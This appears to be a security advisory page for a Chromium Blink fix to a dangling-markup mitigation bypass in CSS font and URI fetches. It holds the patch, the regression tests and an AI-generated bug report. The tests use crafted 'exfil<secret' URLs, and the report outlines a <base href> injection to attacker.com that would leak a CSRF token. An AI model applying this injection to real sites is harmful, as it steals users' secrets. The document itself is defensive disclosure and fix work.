CVE-2026-14004
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/renderer/core/css/css_font_face_src_value.cc |
modified | |
CSSFontFaceSrcValueTestthird_party/blink/renderer/core/css/css_font_face_src_value_test.cc |
modified | |
TEST_Fthird_party/blink/renderer/core/css/css_font_face_src_value_test.cc |
modified | |
ifthird_party/blink/renderer/core/css/css_image_value.cc |
modified | |
TESTthird_party/blink/renderer/core/css/css_uri_value_test.cc |
modified |
Files Changed
third_party/blink/renderer/core/css/build.gnithird_party/blink/renderer/core/css/css_font_face_src_value.ccthird_party/blink/renderer/core/css/css_font_face_src_value_test.ccthird_party/blink/renderer/core/css/css_image_value.ccthird_party/blink/renderer/core/css/css_uri_value.ccthird_party/blink/renderer/core/css/css_uri_value_test.cc
Patch
From 48b2a9f9219f1ebcdc8ff84e5dc56b556fa32b9d Mon Sep 17 00:00:00 2001 From: Kevin Babbitt <[email protected]> Date: Tue, 26 May 2026 10:13:33 -0700 Subject: [PATCH] Propagate dangling markup flag through font fetch and CSSURIValue For font fetch: Use ResolveUrl() which returns a KURL with the flag propagated, rather than ResolvedUrl() which returns an AtomicString. To enable this, ResolveUrl() now takes an ExecutionContext rather than a Document. For CSSURIValue: We don't have a Document or ExecutionContext handy, but since this is a convenience accessor for other callers, it's a natural spot to propagate the flag. Fixed: 514538751 Change-Id: I793cea2515d9a92a0ddb7b37fa1d0ae1aac35427 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7868562 Reviewed-by: Rune Lillesveen <[email protected]> Commit-Queue: Kevin Babbitt <[email protected]> Cr-Commit-Position: refs/heads/main@{#1636276} --- diff --git a/third_party/blink/renderer/core/css/build.gni b/third_party/blink/renderer/core/css/build.gni index 688d450e..e13df39 100644 --- a/third_party/blink/renderer/core/css/build.gni +++ b/third_party/blink/renderer/core/css/build.gni @@ -876,6 +876,7 @@ "css_dynamic_range_limit_mix_value_test.cc", "css_flip_revert_value_test.cc", "css_font_face_source_test.cc", + "css_font_face_src_value_test.cc", "css_font_family_webkit_prefix_test.cc", "css_gradient_value_test.cc", "css_image_value_test.cc", diff --git a/third_party/blink/renderer/core/css/css_font_face_src_value.cc b/third_party/blink/renderer/core/css/css_font_face_src_value.cc index a5fd168..54d24dbf 100644 --- a/third_party/blink/renderer/core/css/css_font_face_src_value.cc +++ b/third_party/blink/renderer/core/css/css_font_face_src_value.cc @@ -147,7 +147,7 @@ const CSSUrlData& url_data = src_value_->UrlData(); const CSSUrlRequestModifiers& modifiers = url_data.GetModifiers(); const Referrer& referrer = url_data.GetReferrer(); - ResourceRequest resource_request(url_data.ResolvedUrl()); + ResourceRequest resource_request(url_data.ResolveUrl(*context)); if (modifiers.referrer_policy) { resource_request.SetReferrerPolicy(*modifiers.referrer_policy); diff --git a/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc b/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc new file mode 100644 index 0000000..133a80d2 --- /dev/null +++ b/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc @@ -0,0 +1,65 @@ +// Copyright 2026 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +#include "third_party/blink/renderer/core/css/css_font_face_src_value.h" + +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/blink/renderer/core/css/css_url_data.h" +#include "third_party/blink/renderer/core/dom/document.h" +#include "third_party/blink/renderer/core/testing/sim/sim_request.h" +#include "third_party/blink/renderer/core/testing/sim/sim_test.h" +#include "third_party/blink/renderer/platform/testing/unit_test_helpers.h" + +namespace blink { + +class CSSFontFaceSrcValueTest : public SimTest {}; + +// Verify that a @font-face src URL containing dangling markup (newline + '<') +// is blocked and does NOT trigger a network request. The dangling markup +// mitigation in BaseFetchContext::CanRequest should prevent the fetch. +// +// If the potentially_dangling_markup flag were lost (the bug this tests for), +// the font request would go through and SimTest would fail because no +// SimSubresourceRequest was registered for the URL. +TEST_F(CSSFontFaceSrcValueTest, BlockPotentiallyDanglingMarkup) { + SimRequest main_resource("https://example.com", "text/html"); + + LoadURL("https://example.com"); + + // The <table background="..."> URL contains a newline (between "ht" and + // "tps") and a '<' character, which causes KURL to set the + // PotentiallyDanglingMarkup flag. The @font-face src URL uses the same + // pattern: the font URL is constructed by the CSS parser with dangling + // markup via a tainted base URL. + // + // We use a <base> tag with an href containing \n and '<' to taint all + // relative URL resolution. The @font-face then uses a relative URL. + main_resource.Complete(R"HTML( + <!doctype html> + <style> + @font-face { + font-family: 'dangling-test'; + src: url('ht +tps://example.com/exfil<secret.woff2') format("woff2"); + } + #target { + font: 25px/1 'dangling-test', monospace; + } + </style> + <span id="target">ABCDEF</span> + )HTML"); + + test::RunPendingTasks(); + Compositor().BeginFrame(); + + // If the dangling markup mitigation works correctly, no network request + // is made for the font URL (it's blocked before reaching the network). + // The element should render with the fallback monospace font. + // The test passes if it doesn't crash — a missing SimSubresourceRequest + // for an actual network fetch would cause a CHECK failure. + auto* target = GetDocument().getElementById(AtomicString("target")); + ASSERT_TRUE(target); +} + +} // namespace blink diff --git a/third_party/blink/renderer/core/css/css_image_value.cc b/third_party/blink/renderer/core/css/css_image_value.cc index 6b7e1ac..5a2e11b04c 100644 --- a/third_party/blink/renderer/core/css/css_image_value.cc +++ b/third_party/blink/renderer/core/css/css_image_value.cc @@ -54,7 +54,8 @@ const CSSUrlData& url_data = UrlData(); const CSSUrlRequestModifiers& modifiers = url_data.GetModifiers(); const Referrer& referrer = url_data.GetReferrer(); - ResourceRequest resource_request(url_data.ResolveUrl(document)); + ResourceRequest resource_request( + url_data.ResolveUrl(*document.GetExecutionContext())); if (modifiers.referrer_policy) { resource_request.SetReferrerPolicy(*modifiers.referrer_policy); diff --git a/third_party/blink/renderer/core/css/css_uri_value.cc b/third_party/blink/renderer/core/css/css_uri_value.cc index 829258f..4f353389 100644 --- a/third_party/blink/renderer/core/css/css_uri_value.cc +++ b/third_party/blink/renderer/core/css/css_uri_value.cc @@ -60,7 +60,11 @@ } KURL CSSURIValue::AbsoluteUrl() const { - return KURL(UrlData().ResolvedUrl()); + KURL url(UrlData().ResolvedUrl()); + if (UrlData().IsPotentiallyDanglingMarkup()) { + url.SetPotentiallyDanglingMarkup(); + } + return url; } bool CSSURIValue::IsLocal(const Document& document) const { diff --git a/third_party/blink/renderer/core/css/css_uri_value_test.cc b/third_party/blink/renderer/core/css/css_uri_value_test.cc index 1aac5c0..8caa2c8d 100644 --- a/third_party/blink/renderer/core/css/css_uri_value_test.cc +++ b/third_party/blink/renderer/core/css/css_uri_value_test.cc @@ -5,13 +5,47 @@ #include "third_party/blink/renderer/core/css/css_uri_value.h" #include "testing/gtest/include/gtest/gtest.h" - +#include "third_party/blink/renderer/core/css/css_url_data.h" #include "third_party/blink/renderer/platform/weborigin/kurl.h" #include "third_party/blink/renderer/platform/wtf/text/text_encoding.h" namespace blink { namespace { +// Verify that CSSUrlData::IsPotentiallyDanglingMarkup() correctly reflects +// the flag from a KURL whose raw input contained both whitespace and '<'. +TEST(CSSURIValueTest, DanglingMarkupFlagPreservedInCSSUrlData) { + // Construct a KURL from a string with a newline and '<', which triggers + // the potentially_dangling_markup flag during URL parsing. + KURL dangling_url("ht\ntps://example.com/exfil?<secret"); + ASSERT_TRUE(dangling_url.PotentiallyDanglingMarkup()); + + CSSUrlData* url_data = MakeGarbageCollected<CSSUrlData>( + AtomicString("exfil?<secret"), dangling_url, Referrer(), + /*origin_clean=*/true, /*is_ad_related=*/false, + /*modifiers=*/CSSUrlRequestModifiers()); + + EXPECT_TRUE(url_data->IsPotentiallyDanglingMarkup()); + + // Constructing a KURL from the canonicalized string loses the flag — this + // is the underlying bug that the fix addresses. + KURL reconstructed(url_data->ResolvedUrl()); + EXPECT_FALSE(reconstructed.PotentiallyDanglingMarkup()); +} + +// Verify that CSSUrlData without dangling markup reports false. +TEST(CSSURIValueTest, NoDanglingMarkupFlag) { + KURL safe_url("https://example.com/font.woff"); + ASSERT_FALSE(safe_url.PotentiallyDanglingMarkup()); + + CSSUrlData* url_data = MakeGarbageCollected<CSSUrlData>( + AtomicString("font.woff"), safe_url, Referrer(), + /*origin_clean=*/true, /*is_ad_related=*/false, + /*modifiers=*/CSSUrlRequestModifiers()); + + EXPECT_FALSE(url_data->IsPotentiallyDanglingMarkup()); +} + TEST(CSSURIValueTest, ComputedCSSValue) {
Regression Test / PoC
diff --git a/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc b/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc
new file mode 100644
index 0000000..133a80d2
--- /dev/null
+++ b/third_party/blink/renderer/core/css/css_font_face_src_value_test.cc
@@ -0,0 +1,65 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "third_party/blink/renderer/core/css/css_font_face_src_value.h"
+
+#include "testing/gtest/include/gtest/gtest.h"
+#include "third_party/blink/renderer/core/css/css_url_data.h"
+#include "third_party/blink/renderer/core/dom/document.h"
+#include "third_party/blink/renderer/core/testing/sim/sim_request.h"
+#include "third_party/blink/renderer/core/testing/sim/sim_test.h"
+#include "third_party/blink/renderer/platform/testing/unit_test_helpers.h"
+
+namespace blink {
+
+class CSSFontFaceSrcValueTest : public SimTest {};
+
+// Verify that a @font-face src URL containing dangling markup (newline + '<')
+// is blocked and does NOT trigger a network request. The dangling markup
+// mitigation in BaseFetchContext::CanRequest should prevent the fetch.
+//
+// If the potentially_dangling_markup flag were lost (the bug this tests for),
+// the font request would go through and SimTest would fail because no
+// SimSubresourceRequest was registered for the URL.
+TEST_F(CSSFontFaceSrcValueTest, BlockPotentiallyDanglingMarkup) {
+ SimRequest main_resource("https://example.com", "text/html");
+
+ LoadURL("https://example.com");
+
+ // The <table background="..."> URL contains a newline (between "ht" and
+ // "tps") and a '<' character, which causes KURL to set the
+ // PotentiallyDanglingMarkup flag. The @font-face src URL uses the same
+ // pattern: the font URL is constructed by the CSS parser with dangling
+ // markup via a tainted base URL.
+ //
+ // We use a <base> tag with an href containing \n and '<' to taint all
+ // relative URL resolution. The @font-face then uses a relative URL.
+ main_resource.Complete(R"HTML(
+ <!doctype html>
+ <style>
+ @font-face {
+ font-family: 'dangling-test';
+ src: url('ht
+tps://example.com/exfil<secret.woff2') format("woff2");
+ }
+ #target {
+ font: 25px/1 'dangling-test', monospace;
+ }
+ </style>
+ <span id="target">ABCDEF</span>
+ )HTML");
+
+ test::RunPendingTasks();
+ Compositor().BeginFrame();
+
+ // If the dangling markup mitigation works correctly, no network request
+ // is made for the font URL (it's blocked before reaching the network).
+ // The element should render with the fallback monospace font.
+ // The test passes if it doesn't crash — a missing SimSubresourceRequest
+ // for an actual network fetch would cause a CHECK failure.
+ auto* target = GetDocument().getElementById(AtomicString("target"));
+ ASSERT_TRUE(target);
+}
+
+} // namespace blink
diff --git a/third_party/blink/renderer/core/css/css_uri_value_test.cc b/third_party/blink/renderer/core/css/css_uri_value_test.cc
index 1aac5c0..8caa2c8d 100644
--- a/third_party/blink/renderer/core/css/css_uri_value_test.cc
+++ b/third_party/blink/renderer/core/css/css_uri_value_test.cc
@@ -5,13 +5,47 @@
#include "third_party/blink/renderer/core/css/css_uri_value.h"
#include "testing/gtest/include/gtest/gtest.h"
-
+#include "third_party/blink/renderer/core/css/css_url_data.h"
#include "third_party/blink/renderer/platform/weborigin/kurl.h"
#include "third_party/blink/renderer/platform/wtf/text/text_encoding.h"
namespace blink {
namespace {
+// Verify that CSSUrlData::IsPotentiallyDanglingMarkup() correctly reflects
+// the flag from a KURL whose raw input contained both whitespace and '<'.
+TEST(CSSURIValueTest, DanglingMarkupFlagPreservedInCSSUrlData) {
+ // Construct a KURL from a string with a newline and '<', which triggers
+ // the potentially_dangling_markup flag during URL parsing.
+ KURL dangling_url("ht\ntps://example.com/exfil?<secret");
+ ASSERT_TRUE(dangling_url.PotentiallyDanglingMarkup());
+
+ CSSUrlData* url_data = MakeGarbageCollected<CSSUrlData>(
+ AtomicString("exfil?<secret"), dangling_url, Referrer(),
+ /*origin_clean=*/true, /*is_ad_related=*/false,
+ /*modifiers=*/CSSUrlRequestModifiers());
+
+ EXPECT_TRUE(url_data->IsPotentiallyDanglingMarkup());
+
+ // Constructing a KURL from the canonicalized string loses the flag — this
+ // is the underlying bug that the fix addresses.
+ KURL reconstructed(url_data->ResolvedUrl());
+ EXPECT_FALSE(reconstructed.PotentiallyDanglingMarkup());
+}
+
+// Verify that CSSUrlData without dangling markup reports false.
+TEST(CSSURIValueTest, NoDanglingMarkupFlag) {
+ KURL safe_url("https://example.com/font.woff");
+ ASSERT_FALSE(safe_url.PotentiallyDanglingMarkup());
+
+ CSSUrlData* url_data = MakeGarbageCollected<CSSUrlData>(
+ AtomicString("font.woff"), safe_url, Referrer(),
+ /*origin_clean=*/true, /*is_ad_related=*/false,
+ /*modifiers=*/CSSUrlRequestModifiers());
+
+ EXPECT_FALSE(url_data->IsPotentiallyDanglingMarkup());
+}
+
TEST(CSSURIValueTest, ComputedCSSValue) {
cssvalue::CSSURIValue* rel = MakeGarbageCollected<cssvalue::CSSURIValue>(
*MakeGarbageCollected<CSSUrlData>(
Original Bug Report
Bypass of dangling markup mitigation in CSS font and URI fetching
Flapjack, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: Blink’s dangling markup mitigation can potentially be bypassed during CSS font and URI fetches. CSSFontFaceSrcValue and CSSURIValue construct network requests using canonicalized URL strings that lack newlines, causing the potentially_dangling_markup flag to be lost. This could allow data exfiltration via <base> tag injection.
Affected files:
third_party/blink/renderer/core/css/css_font_face_src_value.ccthird_party/blink/renderer/core/css/css_uri_value.cc
Estimated timestamp from git blame: 2017-05-30
Description
A potential vulnerability in Blink’s CSS resource fetching logic allows an attacker to bypass the dangling markup mitigation. This mitigation is designed to prevent data exfiltration by blocking resource loads where a URL appears to have ‘swallowed’ document content (indicated by the presence of a < character and a newline in the URL).
The bypass occurs because CSSFontFaceSrcValue and CSSURIValue utilize canonicalized URL strings to initiate network requests. This process strips the newline characters, preventing the subsequent URL parsing logic from detecting the dangling markup and setting the appropriate security flag.
Technical Details
- When a document’s base URL contains dangling markup (e.g., via an injected
<base>tag absorbing subsequent newlines and HTML), the CSS parser processes relative URLs against this tainted base URL. - In
CSSUrlData, the parsed URL state is split. The canonicalized URL string (with newlines stripped) is stored inabsolute_url_, and the dangling markup detection is stored separately in the booleanpotentially_dangling_markup_. - In
CSSFontFaceSrcValue::Fetch(third_party/blink/renderer/core/css/css_font_face_src_value.cc:150), a new network request is initiated:Similarly, inResourceRequest resource_request(url_data.ResolvedUrl());CSSURIValue::AbsoluteUrl(third_party/blink/renderer/core/css/css_uri_value.cc:63), aKURLis constructed:return KURL(UrlData().ResolvedUrl()); url_data.ResolvedUrl()returns the canonicalizedAtomicString. WhenResourceRequestorKURLparses this string, it fails to detect dangling markup because the newlines were previously stripped. Consequently, the newly constructedKURLobject evaluatesPotentiallyDanglingMarkup()tofalse.- The request enters the network pipeline and reaches
BaseFetchContext::CanRequest(third_party/blink/renderer/core/loader/base_fetch_context.cc:342), which checks:Since the flag was lost, this security check is bypassed, and the request is dispatched, potentially exfiltrating absorbed document content.if (url.PotentiallyDanglingMarkup() && url.ProtocolIsInHttpFamily())
Note: A similar issue was previously patched in CSSImageValue by using url_data.ResolveUrl(document), which explicitly restores the dangling markup flag.
Potential Attack Scenario
- An attacker injects a partial HTML tag, such as
<base href="http://attacker.com/?q=">, into a page. - The HTML parser absorbs subsequent sensitive content (e.g.,
<input type="hidden" name="csrf" value="SECRET">) into the base URL. - A CSS rule on the page, such as
@font-face { src: url('font.woff'); }, triggers a resource fetch. - The fetch uses the tainted base URL but bypasses the dangling markup mitigation, exfiltrating the CSRF token to the attacker’s server.
(Note: These are suggested steps; we have not verified this with a runnable proof of concept.)
Suggested Fix
Modify CSSFontFaceSrcValue and CSSURIValue to preserve the potentially_dangling_markup flag. If an ExecutionContext or Document is available at the call site, use url_data.ResolveUrl(document) instead of url_data.ResolvedUrl(). ResolveUrl() explicitly calls url.SetPotentiallyDanglingMarkup() to restore the flag. Alternatively, manually propagate the flag to the ResourceRequest after constructing it from the canonicalized string.
Evaluated with Chrome root at commit: b7d0c4d810da1b31400f198c70d9720fc8f0e5a0
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.